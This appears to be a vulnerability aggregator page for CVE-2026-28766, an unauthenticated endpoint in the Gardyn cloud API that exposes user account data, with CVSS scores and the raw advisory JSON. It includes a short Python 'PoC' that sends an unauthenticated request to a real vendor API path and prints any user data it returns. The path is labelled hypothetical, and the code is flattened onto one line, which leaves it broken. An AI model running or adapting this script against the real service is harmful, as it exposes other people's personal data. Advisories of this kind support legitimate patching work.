Security Vulnerability Report
中文
CVE-2026-28766 CVSS 9.3 CRITICAL

CVE-2026-28766

Published: 2026-04-03 21:17:10
Last Modified: 2026-04-22 18:21:24

Description

A specific endpoint exposes all user account information for registered Gardyn users without requiring authentication.

CVSS Details

CVSS Score
9.3
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:mygardyn:cloud_api:*:*:*:*:*:*:*:* - VULNERABLE
Gardyn (未指定具体版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # Target URL (Hypothetical endpoint based on vulnerability description) target_url = "https://api.mygardyn.com/v1/users/export" def exploit_cve_2026_28766(): print("[*] Attempting to exploit CVE-2026-28766...") try: # Send a GET request without authentication headers # The vulnerability states no authentication is required response = requests.get(target_url, timeout=10) if response.status_code == 200: print("[+] Successfully retrieved data from endpoint!") print("[+] Response Content:") # Pretty print the JSON data containing user info try: data = response.json() print(json.dumps(data, indent=4)) except json.JSONDecodeError: print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print("[-] The endpoint might be patched or requires different parameters.") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": exploit_cve_2026_28766()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-28766", "sourceIdentifier": "[email protected]", "published": "2026-04-03T21:17:10.387", "lastModified": "2026-04-22T18:21:24.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A specific endpoint exposes all user account information for registered Gardyn users without requiring authentication."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.2, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mygardyn:cloud_api:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.12.2026", "matchCriteriaId": "BFA23B23-AF70-45AA-A0D4-7AF1C15A993C"}]}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-055-03.json", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://mygardyn.com/security/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-055-03", "source": "[email protected]", "tags": ["US Government Resource", "Third Party Advisory"]}]}}